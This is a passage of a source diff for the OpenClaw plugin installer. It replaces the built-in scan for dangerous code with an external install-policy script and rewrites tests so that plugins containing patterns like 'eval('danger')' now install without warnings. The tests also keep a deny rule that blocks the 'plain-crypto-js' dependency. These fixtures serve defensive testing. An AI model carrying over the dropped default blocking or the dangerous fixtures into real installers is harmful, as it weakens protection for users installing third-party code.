+ requestedSpecifier: params.requestedSpecifier, + plugin: { + contentType: "package", + pluginId: params.pluginId, + }, + }); +} + +export async function evaluateSkillInstallPolicyRuntime(params: { + config?: OpenClawConfig; installId: string; installSpec?: SkillInstallSpec; logger: InstallScanLogger; - origin: string; + origin: InstallPolicyOrigin; + requestedSpecifier?: string; + source?: InstallPolicySource; + mode?: "install" | "update"; skillName: string; sourceDir: string; }): Promise { - const builtinScan = await scanDirectoryTarget({ + const policyResult = await runOperatorInstallPolicy({ + config: params.config, logger: params.logger, - path: params.sourceDir, - suspiciousMessage: - 'Skill "{target}" has {count} suspicious code pattern(s). Run "openclaw security audit --deep" for details.', - targetName: params.skillName, - warningMessage: `WARNING: Skill "${params.skillName}" contains dangerous code patterns`, - }); - const builtinBlocked = buildBlockedScanResult({ - builtinScan, - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - trustedSourceLinkedOfficialInstall: false, - targetLabel: `Skill "${params.skillName}" installation`, - }); - if (params.dangerouslyForceUnsafeInstall && builtinScan.critical > 0) { - logDangerousForceUnsafeInstall({ - findings: builtinScan.findings, - logger: params.logger, - targetLabel: `Skill "${params.skillName}" installation`, - }); - } - - const hookResult = await runBeforeInstallHook({ - logger: params.logger, - installLabel: `Skill "${params.skillName}" installation`, origin: params.origin, + source: + params.source ?? resolvePolicySource({ requestKind: "skill-install", origin: params.origin }), sourcePath: params.sourceDir, sourcePathKind: "directory", targetName: params.skillName, targetType: "skill", requestKind: "skill-install", - requestMode: "install", - builtinScan, + requestMode: params.mode ?? "install", + requestedSpecifier: params.requestedSpecifier, skill: { installId: params.installId, ...(params.installSpec ? { installSpec: params.installSpec } : {}), }, }); - return hookResult?.blocked ? hookResult : builtinBlocked; + if (policyResult?.blocked) { + return policyResult; + } + + const hookResult = await runBeforeInstallHook({ + logger: params.logger, + installLabel: `Skill "${params.skillName}" installation`, + origin: formatInstallPolicyOriginForHook(params.origin), + sourcePath: params.sourceDir, + sourcePathKind: "directory", + targetName: params.skillName, + targetType: "skill", + requestKind: "skill-install", + requestMode: params.mode ?? "install", + requestedSpecifier: params.requestedSpecifier, + skill: { + installId: params.installId, + ...(params.installSpec ? { installSpec: params.installSpec } : {}), + }, + }); + return hookResult; } diff --git a/src/plugins/install-security-scan.ts b/src/plugins/install-security-scan.ts index c7172ebdd3ab..2993f1af5175 100644 --- a/src/plugins/install-security-scan.ts +++ b/src/plugins/install-security-scan.ts @@ -1,10 +1,16 @@ +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import type { + InstallPolicyOrigin, + InstallPolicyRequestKind, + InstallPolicySource, +} from "../security/install-policy.js"; +export type { InstallSafetyOverrides } from "./install-security-scan.types.js"; +import type { InstallSafetyOverrides } from "./install-security-scan.types.js"; + type InstallScanLogger = { warn?: (message: string) => void; }; -export type { InstallSafetyOverrides } from "./install-security-scan.types.js"; -import type { InstallSafetyOverrides } from "./install-security-scan.types.js"; - export type InstallSecurityScanResult = { blocked?: { code?: "security_scan_blocked" | "security_scan_failed"; @@ -12,12 +18,7 @@ export type InstallSecurityScanResult = { }; }; -export type PluginInstallRequestKind = - | "plugin-dir" - | "plugin-archive" - | "plugin-file" - | "plugin-npm" - | "plugin-git"; +export type PluginInstallRequestKind = Exclude; export type SkillInstallSpecMetadata = { id?: string; @@ -47,6 +48,7 @@ async function loadInstallSecurityScanRuntime() { export async function scanBundleInstallSource( params: InstallSafetyOverrides & { + config?: OpenClawConfig; logger: InstallScanLogger; pluginId: string; sourceDir: string; @@ -54,6 +56,7 @@ export async function scanBundleInstallSource( requestedSpecifier?: string; mode?: "install" | "update"; version?: string; + source?: InstallPolicySource; }, ): Promise { const { scanBundleInstallSourceRuntime } = await loadInstallSecurityScanRuntime(); @@ -62,6 +65,7 @@ export async function scanBundleInstallSource( export async function scanPackageInstallSource( params: InstallSafetyOverrides & { + config?: OpenClawConfig; extensions: string[]; logger: InstallScanLogger; packageDir: string; @@ -73,6 +77,7 @@ export async function scanPackageInstallSource( packageName?: string; manifestId?: string; version?: string; + source?: InstallPolicySource; }, ): Promise { const { scanPackageInstallSourceRuntime } = await loadInstallSecurityScanRuntime(); @@ -82,11 +87,16 @@ export async function scanPackageInstallSource( export async function scanInstalledPackageDependencyTree(params: { additionalPackageDirs?: string[]; allowManagedNpmRootPackagePeerSymlinks?: boolean; + config?: OpenClawConfig; dangerouslyForceUnsafeInstall?: boolean; dependencyScanRootDir?: string; logger: InstallScanLogger; + mode?: "install" | "update"; packageDir: string; pluginId: string; + requestKind?: PluginInstallRequestKind; + requestedSpecifier?: string; + source?: InstallPolicySource; trustedSourceLinkedOfficialInstall?: boolean; }): Promise { const { scanInstalledPackageDependencyTreeRuntime } = await loadInstallSecurityScanRuntime(); @@ -95,26 +105,59 @@ export async function scanInstalledPackageDependencyTree(params: { export async function scanFileInstallSource( params: InstallSafetyOverrides & { + config?: OpenClawConfig; filePath: string; logger: InstallScanLogger; mode?: "install" | "update"; pluginId: string; requestedSpecifier?: string; + source?: InstallPolicySource; }, ): Promise { const { scanFileInstallSourceRuntime } = await loadInstallSecurityScanRuntime(); return await scanFileInstallSourceRuntime(params); } -export async function scanSkillInstallSource(params: { - dangerouslyForceUnsafeInstall?: boolean; +export async function preflightPluginNpmInstallPolicy(params: { + config?: OpenClawConfig; + logger: InstallScanLogger; + mode?: "install" | "update"; + packageName: string; + pluginId?: string; + requestedSpecifier?: string; + source?: InstallPolicySource; + sourcePath: string; + sourcePathKind: "file" | "directory"; +}): Promise { + const { preflightPluginNpmInstallPolicyRuntime } = await loadInstallSecurityScanRuntime(); + return await preflightPluginNpmInstallPolicyRuntime(params); +} + +export async function preflightPluginGitInstallPolicy(params: { + config?: OpenClawConfig; + logger: InstallScanLogger; + mode?: "install" | "update"; + pluginId: string; + requestedSpecifier?: string; + source?: InstallPolicySource; + sourcePath: string; +}): Promise { + const { preflightPluginGitInstallPolicyRuntime } = await loadInstallSecurityScanRuntime(); + return await preflightPluginGitInstallPolicyRuntime(params); +} + +export async function evaluateSkillInstallPolicy(params: { + config?: OpenClawConfig; installId: string; installSpec?: SkillInstallSpecMetadata; logger: InstallScanLogger; - origin: string; + origin: InstallPolicyOrigin; + requestedSpecifier?: string; + source?: InstallPolicySource; + mode?: "install" | "update"; skillName: string; sourceDir: string; }): Promise { - const { scanSkillInstallSourceRuntime } = await loadInstallSecurityScanRuntime(); - return await scanSkillInstallSourceRuntime(params); + const { evaluateSkillInstallPolicyRuntime } = await loadInstallSecurityScanRuntime(); + return await evaluateSkillInstallPolicyRuntime(params); } diff --git a/src/plugins/install-security-scan.types.ts b/src/plugins/install-security-scan.types.ts index a4a4146441d8..7518f4ae8b12 100644 --- a/src/plugins/install-security-scan.types.ts +++ b/src/plugins/install-security-scan.types.ts @@ -1,4 +1,7 @@ +import type { OpenClawConfig } from "../config/types.openclaw.js"; + export type InstallSafetyOverrides = { + config?: OpenClawConfig; dangerouslyForceUnsafeInstall?: boolean; trustedSourceLinkedOfficialInstall?: boolean; }; diff --git a/src/plugins/install.npm-spec.test.ts b/src/plugins/install.npm-spec.test.ts index 51fa699142cb..6180785cdaae 100644 --- a/src/plugins/install.npm-spec.test.ts +++ b/src/plugins/install.npm-spec.test.ts @@ -718,7 +718,7 @@ describe("installPluginFromNpmSpec", () => { expect(runCommandWithTimeoutMock.mock.calls).toHaveLength(1); }); - it("rolls back staged npm pack archives when a forced update is blocked", async () => { + it("updates staged npm pack archives when dangerous-looking code is present", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); const npmRoot = path.join(stateDir, "npm"); const packageName = "@openclaw/pack-demo"; @@ -765,22 +765,21 @@ describe("installPluginFromNpmSpec", () => { }, ]); - const blockedUpdate = await installPluginFromNpmPackArchive({ + const update = await installPluginFromNpmPackArchive({ archivePath: archiveV2Path, npmDir: npmRoot, mode: "update", logger: { info: () => {}, warn: () => {} }, }); - expect(blockedUpdate.ok).toBe(false); - if (blockedUpdate.ok) { + expect(update.ok).toBe(true); + if (!update.ok) { return; } - expect(blockedUpdate.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore); + expect(readTextFileTree(npmProjectRoot)).not.toEqual(projectBefore); }); - it("cleans staged npm pack archives when a fresh install is blocked", async () => { + it("installs staged npm pack archives with dangerous-looking code", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); const npmRoot = path.join(stateDir, "npm"); const packageName = "@openclaw/pack-demo"; @@ -800,24 +799,22 @@ describe("installPluginFromNpmSpec", () => { }, ]); - const blockedInstall = await installPluginFromNpmPackArchive({ + const install = await installPluginFromNpmPackArchive({ archivePath, npmDir: npmRoot, logger: { info: () => {}, warn: () => {} }, }); - expect(blockedInstall.ok).toBe(false); - if (blockedInstall.ok) { + expect(install.ok).toBe(true); + if (!install.ok) { return; } - expect(blockedInstall.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); const npmProjectRoot = resolvePluginNpmProjectDir({ npmDir: npmRoot, packageName, }); - expect(fs.existsSync(path.join(npmProjectRoot, "_openclaw-pack-archives"))).toBe(false); - expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(false); - expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(false); + expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(true); + expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(true); }); it("installs npm plugins into .openclaw/npm", async () => { @@ -1023,12 +1020,12 @@ describe("installPluginFromNpmSpec", () => { expect(fs.existsSync(path.join(quarantineDir, "package-lock.json"))).toBe(true); }); - it("scans rebuilt hoisted dependencies after managed npm project quarantine", async () => { + it("allows rebuilt hoisted dependencies after managed npm project quarantine", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); const npmRoot = path.join(stateDir, "npm"); const packageName = "unsafe-rebuild-plugin"; const npmProjectRoot = resolvePluginNpmProjectDir({ npmDir: npmRoot, packageName }); - fs.mkdirSync(path.join(npmProjectRoot, "node_modules", "plain-crypto-js"), { + fs.mkdirSync(path.join(npmProjectRoot, "node_modules", "stale-hoisted-helper"), { recursive: true, }); @@ -1039,7 +1036,7 @@ describe("installPluginFromNpmSpec", () => { pluginId: packageName, npmRoot, expectedDependencySpec: "1.0.0", - hoistedDependency: { name: "plain-crypto-js", version: "1.0.0" }, + hoistedDependency: { name: "stale-hoisted-helper", version: "1.0.0" }, }); const delegate = runCommandWithTimeoutMock.getMockImplementation(); if (!delegate) { @@ -1066,10 +1063,7 @@ describe("installPluginFromNpmSpec", () => { logger: { info: () => {}, warn: () => {} }, }); - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.error).toContain("plain-crypto-js"); - } + expect(result.ok).toBe(true); expect(managedInstallAttempts).toBe(2); }); @@ -1144,7 +1138,7 @@ describe("installPluginFromNpmSpec", () => { expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(false); }); - it("rejects npm installs with blocked hoisted transitive dependencies", async () => { + it("blocks npm installs with denied hoisted transitive dependencies", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); const npmRoot = path.join(stateDir, "npm"); @@ -1165,8 +1159,9 @@ describe("installPluginFromNpmSpec", () => { expect(result.ok).toBe(false); if (!result.ok) { - expect(result.error).toContain("plain-crypto-js"); - expect(result.error).toContain(path.join("node_modules", "plain-crypto-js")); + expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); + expect(result.error).toContain('blocked dependencies "plain-crypto-js" as package name'); + expect(result.error).toContain("node_modules/plain-crypto-js/package.json"); } }); @@ -1860,7 +1855,7 @@ describe("installPluginFromNpmSpec", () => { ).toBe(false); }); - it("allows npm-spec installs with dangerous code patterns when forced unsafe install is set", async () => { + it("treats dangerouslyForceUnsafeInstall as a no-op for npm-spec installs", async () => { const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm"); const warnings: string[] = []; mockNpmViewAndInstall({ @@ -1883,13 +1878,7 @@ describe("installPluginFromNpmSpec", () => { }); expect(result.ok).toBe(true); - expect( - warnings.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(true); + expect(warnings).toStrictEqual([]); expectNpmInstallIntoProject({ calls: runCommandWithTimeoutMock.mock.calls, npmRoot, @@ -2212,7 +2201,7 @@ describe("installPluginFromNpmSpec", () => { ); }); - it("rolls back installed npm package debris when security scan blocks the plugin", async () => { + it("keeps installed npm package output when dangerous-looking plugin code is present", async () => { const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm"); mockNpmViewAndInstall({ spec: "dangerous-plugin@1.0.0", @@ -2229,18 +2218,18 @@ describe("installPluginFromNpmSpec", () => { logger: { info: () => {}, warn: () => {} }, }); - expect(result.ok).toBe(false); - expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "dangerous-plugin"))).toBe(false); + expect(result.ok).toBe(true); + expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "dangerous-plugin"))).toBe(true); const npmProjectRoot = resolvePluginNpmProjectDir({ npmDir: npmRoot, packageName: "dangerous-plugin", }); await expect( fs.promises.access(path.join(npmProjectRoot, "package.json")), - ).rejects.toHaveProperty("code", "ENOENT"); + ).resolves.toBeUndefined(); }); - it("leaves a stale legacy shared npm root untouched when a per-plugin update is blocked", async () => { + it("leaves a stale legacy shared npm root untouched when a per-plugin update succeeds", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); const npmRoot = path.join(stateDir, "npm"); const legacyNodeModulesRoot = path.join(npmRoot, "node_modules"); @@ -2331,8 +2320,6 @@ describe("installPluginFromNpmSpec", () => { const legacyManifestBefore = fs.readFileSync(path.join(npmRoot, "package.json"), "utf8"); const legacyLockfileBefore = fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8"); const legacyNodeModulesBefore = readTextFileTree(legacyNodeModulesRoot); - const projectBefore = readTextFileTree(npmProjectRoot); - mockNpmViewAndInstall({ spec: "dangerous-plugin@2.0.0", packageName: "dangerous-plugin", @@ -2350,17 +2337,15 @@ describe("installPluginFromNpmSpec", () => { logger: { info: () => {}, warn: () => {} }, }); - expect(result.ok).toBe(false); - if (result.ok) { + expect(result.ok).toBe(true); + if (!result.ok) { return; } - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); expectNpmInstallIntoProject({ calls: runCommandWithTimeoutMock.mock.calls, npmRoot, packageName: "dangerous-plugin", }); - expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore); expect(fs.readFileSync(path.join(npmRoot, "package.json"), "utf8")).toBe(legacyManifestBefore); expect(fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8")).toBe( legacyLockfileBefore, @@ -2393,7 +2378,7 @@ describe("installPluginFromNpmSpec", () => { ]; it.each(officialLaunchPluginCases)( - "blocks direct official npm plugin $spec with launch code without source provenance", + "allows direct official npm plugin $spec with launch code without source provenance", async ({ spec, pluginId, indexJs }) => { const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm"); const warnings: string[] = []; @@ -2415,12 +2400,11 @@ describe("installPluginFromNpmSpec", () => { }, }); - expect(result.ok).toBe(false); - if (result.ok) { + expect(result.ok).toBe(true); + if (!result.ok) { return; } - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, spec))).toBe(false); + expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, spec))).toBe(true); expect( warnings.some((warning) => warning.includes("allowed because it is an official OpenClaw package"), diff --git a/src/plugins/install.path.test.ts b/src/plugins/install.path.test.ts index 1e9f9171db66..1c6c6c478eb5 100644 --- a/src/plugins/install.path.test.ts +++ b/src/plugins/install.path.test.ts @@ -1,6 +1,7 @@ import fs from "node:fs"; import path from "node:path"; import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { runCommandWithTimeout } from "../process/exec.js"; import { initializeGlobalHookRunner, resetGlobalHookRunner } from "./hook-runner-global.js"; import { createMockPluginRegistry } from "./hooks.test-helpers.js"; @@ -136,12 +137,14 @@ function setupNativePluginInstallFixture() { } async function installFromFileWithWarnings(params: { + config?: OpenClawConfig; extensionsDir: string; filePath: string; dangerouslyForceUnsafeInstall?: boolean; }) { const warnings: string[] = []; const result = await installPluginFromFile({ + config: params.config, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, filePath: params.filePath, extensionsDir: params.extensionsDir, @@ -240,7 +243,7 @@ describe("installPluginFromPath", () => { }, builtinScan: { status: "ok", - scannedFiles: 1, + scannedFiles: 0, critical: 0, warn: 0, info: 0, @@ -259,40 +262,102 @@ describe("installPluginFromPath", () => { }); }); - it("blocks plain file installs when the scanner finds dangerous code patterns", async () => { + it("allows plain file installs with dangerous code patterns without built-in scanner blocking", async () => { const baseDir = suiteTempRootTracker.makeTempDir(); const extensionsDir = path.join(baseDir, "extensions"); fs.mkdirSync(extensionsDir, { recursive: true }); const sourcePath = path.join(baseDir, "payload.js"); fs.writeFileSync(sourcePath, "eval('danger');\n", "utf-8"); - const expectedFinding = `Dynamic code execution detected (${sourcePath}:1)`; const { result, warnings } = await installFromFileWithWarnings({ filePath: sourcePath, extensionsDir, }); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); + }); + + it("runs install policy before dry-run file install returns", async () => { + const baseDir = suiteTempRootTracker.makeTempDir(); + const extensionsDir = path.join(baseDir, "extensions"); + fs.mkdirSync(extensionsDir, { recursive: true }); + + const sourcePath = path.join(baseDir, "payload.js"); + fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8"); + const config = { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [ + "-e", + 'process.stdin.resume();process.stdin.on("end",()=>{process.stdout.write(JSON.stringify({protocolVersion:1,decision:"block",reason:"blocked file plugin"}));});', + ], + allowInsecurePath: true, + }, + }, + }, + } satisfies OpenClawConfig; + + const result = await installPluginFromFile({ + config, + filePath: sourcePath, + extensionsDir, + dryRun: true, + }); + expect(result.ok).toBe(false); if (!result.ok) { expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toBe( - `Plugin file "payload" installation blocked: dangerous code patterns detected: ${expectedFinding}`, - ); + expect(result.error).toContain("blocked by install policy: blocked file plugin"); } - expect(warnings).toEqual([ - `WARNING: Plugin file "payload" contains dangerous code patterns: ${expectedFinding}`, - ]); }); - it("allows plain file installs with dangerous code patterns when forced unsafe install is set", async () => { + it("logs locationless install policy warnings without undefined locations", async () => { + const baseDir = suiteTempRootTracker.makeTempDir(); + const extensionsDir = path.join(baseDir, "extensions"); + fs.mkdirSync(extensionsDir, { recursive: true }); + + const sourcePath = path.join(baseDir, "payload.js"); + fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8"); + const config = { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [ + "-e", + 'process.stdin.resume();process.stdin.on("end",()=>{process.stdout.write(JSON.stringify({protocolVersion:1,decision:"allow",findings:[{ruleId:"registry-review",severity:"warn",message:"Registry requires review."}]}));});', + ], + allowInsecurePath: true, + }, + }, + }, + } satisfies OpenClawConfig; + + const { result, warnings } = await installFromFileWithWarnings({ + config, + filePath: sourcePath, + extensionsDir, + }); + + expect(result.ok).toBe(true); + expect(warnings).toEqual(["Install policy: Registry requires review."]); + }); + + it("treats dangerouslyForceUnsafeInstall as a no-op for plain file installs", async () => { const baseDir = suiteTempRootTracker.makeTempDir(); const extensionsDir = path.join(baseDir, "extensions"); fs.mkdirSync(extensionsDir, { recursive: true }); const sourcePath = path.join(baseDir, "payload.js"); fs.writeFileSync(sourcePath, "eval('danger');\n", "utf-8"); - const expectedFinding = `Dynamic code execution detected (${sourcePath}:1)`; const { result, warnings } = await installFromFileWithWarnings({ filePath: sourcePath, @@ -301,10 +366,30 @@ describe("installPluginFromPath", () => { }); expect(result.ok).toBe(true); - expect(warnings).toEqual([ - `WARNING: Plugin file "payload" contains dangerous code patterns: ${expectedFinding}`, - `WARNING: Plugin file "payload" installation forced despite dangerous code patterns via --dangerously-force-unsafe-install: ${expectedFinding}`, - ]); + expect(warnings).toStrictEqual([]); + }); + + it("rejects managed plain file plugin installs through path install", async () => { + const baseDir = suiteTempRootTracker.makeTempDir(); + const extensionsDir = path.join(baseDir, "extensions"); + fs.mkdirSync(extensionsDir, { recursive: true }); + + const sourcePath = path.join(baseDir, "payload.js"); + fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8"); + + const result = await installPluginFromPath({ + path: sourcePath, + extensionsDir, + }); + + expect(result.ok).toBe(false); + if (result.ok) { + return; + } + expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.UNSUPPORTED_PLAIN_FILE_PLUGIN); + expect(result.error).toBe( + "Plain file plugin installs are not supported. Install a plugin directory or archive that contains openclaw.plugin.json, or list standalone plugin files in plugins.load.paths.", + ); }); it("blocks hardlink alias overwrites when installing a plain file plugin", async () => { @@ -322,8 +407,8 @@ describe("installPluginFromPath", () => { const targetPath = path.join(extensionsDir, "payload.js"); fs.linkSync(victimPath, targetPath); - const result = await installPluginFromPath({ - path: sourcePath, + const result = await installPluginFromFile({ + filePath: sourcePath, extensionsDir, mode: "update", }); diff --git a/src/plugins/install.test.ts b/src/plugins/install.test.ts index 649e76d9c253..d4bc5a2953ce 100644 --- a/src/plugins/install.test.ts +++ b/src/plugins/install.test.ts @@ -2,6 +2,7 @@ import fs from "node:fs"; import fsPromises from "node:fs/promises"; import path from "node:path"; import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { safePathSegmentHashed } from "../infra/install-safe-path.js"; import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; import { runCommandWithTimeout } from "../process/exec.js"; @@ -12,6 +13,8 @@ import { installPluginFromArchive, installPluginFromDir, installPluginFromInstalledPackageDir, + installPluginFromNpmPackArchive, + installPluginFromNpmSpec, PLUGIN_INSTALL_ERROR_CODE, resolvePluginInstallDir, } from "./install.js"; @@ -230,6 +233,7 @@ function setupInstallPluginFromDirFixture(params?: { async function installFromDirWithWarnings(params: { pluginDir: string; extensionsDir: string; + config?: OpenClawConfig; dangerouslyForceUnsafeInstall?: boolean; trustedSourceLinkedOfficialInstall?: boolean; mode?: "install" | "update"; @@ -240,6 +244,7 @@ async function installFromDirWithWarnings(params: { trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, dirPath: params.pluginDir, extensionsDir: params.extensionsDir, + config: params.config, mode: params.mode, logger: { info: () => {}, @@ -249,15 +254,165 @@ async function installFromDirWithWarnings(params: { return { result, warnings }; } +type CapturedInstallPolicyRequest = { + request: { kind: string; mode?: string; requestedSpecifier?: string }; + sourcePath?: string; + sourcePathKind?: string; + source?: { authority: string; kind: string; mutable: boolean; network: boolean }; + plugin?: { contentType: string }; +}; + +function writeAllowingInstallPolicyScript(dir: string) { + const scriptPath = path.join(dir, "allow-policy.cjs"); + const logPath = path.join(dir, "policy-requests.jsonl"); + fs.writeFileSync( + scriptPath, + ` +const fs = require("node:fs"); + +let input = ""; +process.stdin.setEncoding("utf8"); +process.stdin.on("data", (chunk) => { + input += chunk; +}); +process.stdin.on("end", () => { + fs.appendFileSync(process.env.OPENCLAW_POLICY_LOG, input + "\\n"); + process.stdout.write(JSON.stringify({ protocolVersion: 1, decision: "allow" })); +}); +`, + "utf-8", + ); + fs.chmodSync(scriptPath, 0o700); + return { scriptPath, logPath }; +} + +function writeBlockingInstallPolicyScript(dir: string) { + const scriptPath = path.join(dir, "block-policy.cjs"); + const logPath = path.join(dir, "policy-requests.jsonl"); + fs.writeFileSync( + scriptPath, + ` +const fs = require("node:fs"); + +let input = ""; +process.stdin.setEncoding("utf8"); +process.stdin.on("data", (chunk) => { + input += chunk; +}); +process.stdin.on("end", () => { + const request = JSON.parse(input); + if (request.sourcePath && !fs.existsSync(request.sourcePath)) { + process.stdout.write(JSON.stringify({ + protocolVersion: 1, + decision: "block", + reason: "policy source path does not exist", + })); + return; + } + fs.appendFileSync(process.env.OPENCLAW_POLICY_LOG, input + "\\n"); + process.stdout.write(JSON.stringify({ + protocolVersion: 1, + decision: "block", + reason: "npm installs are disabled by policy", + })); +}); +`, + "utf-8", + ); + fs.chmodSync(scriptPath, 0o700); + return { scriptPath, logPath }; +} + +function writeInstallOnlyBlockingPolicyScript(dir: string) { + const scriptPath = path.join(dir, "block-install-policy.cjs"); + const logPath = path.join(dir, "policy-requests.jsonl"); + fs.writeFileSync( + scriptPath, + ` +const fs = require("node:fs"); + +let input = ""; +process.stdin.setEncoding("utf8"); +process.stdin.on("data", (chunk) => { + input += chunk; +}); +process.stdin.on("end", () => { + fs.appendFileSync(process.env.OPENCLAW_POLICY_LOG, input + "\\n"); + const request = JSON.parse(input).request; + if (request.mode === "install") { + process.stdout.write(JSON.stringify({ + protocolVersion: 1, + decision: "block", + reason: "fresh npm installs are disabled by policy", + })); + return; + } + process.stdout.write(JSON.stringify({ protocolVersion: 1, decision: "allow" })); +}); +`, + "utf-8", + ); + fs.chmodSync(scriptPath, 0o700); + return { scriptPath, logPath }; +} + +function configWithInstallPolicy(scriptPath: string, logPath: string): OpenClawConfig { + return { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [scriptPath], + env: { OPENCLAW_POLICY_LOG: logPath }, + allowInsecurePath: true, + timeoutMs: 5000, + maxOutputBytes: 16 * 1024, + }, + }, + }, + }; +} + +function readCapturedInstallPolicyRequests(logPath: string): CapturedInstallPolicyRequest[] { + return fs + .readFileSync(logPath, "utf-8") + .trim() + .split("\n") + .filter(Boolean) + .map((line) => JSON.parse(line) as CapturedInstallPolicyRequest); +} + +function mockNpmViewMetadata(params: { name: string; version?: string }) { + vi.mocked(runCommandWithTimeout).mockResolvedValueOnce({ + code: 0, + killed: false, + signal: null, + stderr: "", + termination: "exit", + stdout: JSON.stringify({ + name: params.name, + version: params.version ?? "1.0.0", + dist: { + integrity: "sha512-test", + shasum: "abc123", + }, + }), + }); +} + async function installFromArchiveWithWarnings(params: { archivePath: string; extensionsDir: string; + config?: OpenClawConfig; dangerouslyForceUnsafeInstall?: boolean; trustedSourceLinkedOfficialInstall?: boolean; }) { const warnings: string[] = []; const result = await installPluginFromArchive({ archivePath: params.archivePath, + config: params.config, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, extensionsDir: params.extensionsDir, @@ -349,10 +504,6 @@ function expectWarningExcludes(warnings: readonly string[], fragment: string) { expect(warnings.join("\n")).not.toContain(fragment); } -function expectMessageIncludesPath(message: string, fragment: string) { - expect(message.replaceAll("\\", "/")).toContain(fragment); -} - function requireRecord(value: unknown, label: string): Record { if (!value || typeof value !== "object" || Array.isArray(value)) { throw new Error(`expected ${label} to be an object`); @@ -821,7 +972,42 @@ describe("installPluginFromArchive", () => { expect(fs.existsSync(resolvePluginInstallDir("@openclaw/zipper", extensionsDir))).toBe(false); }); - it("allows archive installs with dangerous code patterns when forced unsafe install is set", async () => { + it("reports direct local archive installs as user-provided archive sources", async () => { + const stateDir = suiteTempRootTracker.makeTempDir(); + const extensionsDir = path.join(stateDir, "extensions"); + const { scriptPath, logPath } = writeAllowingInstallPolicyScript(stateDir); + fs.mkdirSync(extensionsDir, { recursive: true }); + const archivePath = await ensureDynamicArchiveTemplate({ + outName: "local-policy-archive.tgz", + packageJson: { + name: "local-policy-archive", + version: "1.0.0", + openclaw: { extensions: ["./dist/index.js"] }, + }, + withDistIndex: true, + }); + + const { result } = await installFromArchiveWithWarnings({ + archivePath, + extensionsDir, + config: configWithInstallPolicy(scriptPath, logPath), + }); + + expect(result.ok).toBe(true); + const requests = readCapturedInstallPolicyRequests(logPath); + expect(requests).toHaveLength(2); + expect(requests.map((request) => request.request.kind)).toEqual([ + "plugin-archive", + "plugin-archive", + ]); + expect(requests.map((request) => request.source)).toEqual([ + { kind: "archive", authority: "user", mutable: true, network: false }, + { kind: "archive", authority: "user", mutable: true, network: false }, + ]); + expect(requests[0]?.request.requestedSpecifier).toBe(archivePath); + }); + + it("allows archive installs with dangerous code patterns without built-in scanner blocking", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); const extensionsDir = path.join(stateDir, "extensions"); fs.mkdirSync(extensionsDir, { recursive: true }); @@ -840,17 +1026,10 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromArchiveWithWarnings({ archivePath, extensionsDir, - dangerouslyForceUnsafeInstall: true, }); expect(result.ok).toBe(true); - expect( - warnings.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(true); + expect(warnings).toStrictEqual([]); }); it("allows archive installs with dangerous code patterns for trusted source-linked official installs", async () => { @@ -1469,7 +1648,7 @@ describe("installPluginFromArchive", () => { } }); - it("blocks package installs when plugin contains dangerous code patterns", async () => { + it("allows package installs with dangerous code patterns without built-in scanner blocking", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.writeFileSync( @@ -1487,13 +1666,8 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - if (!result.ok) { - 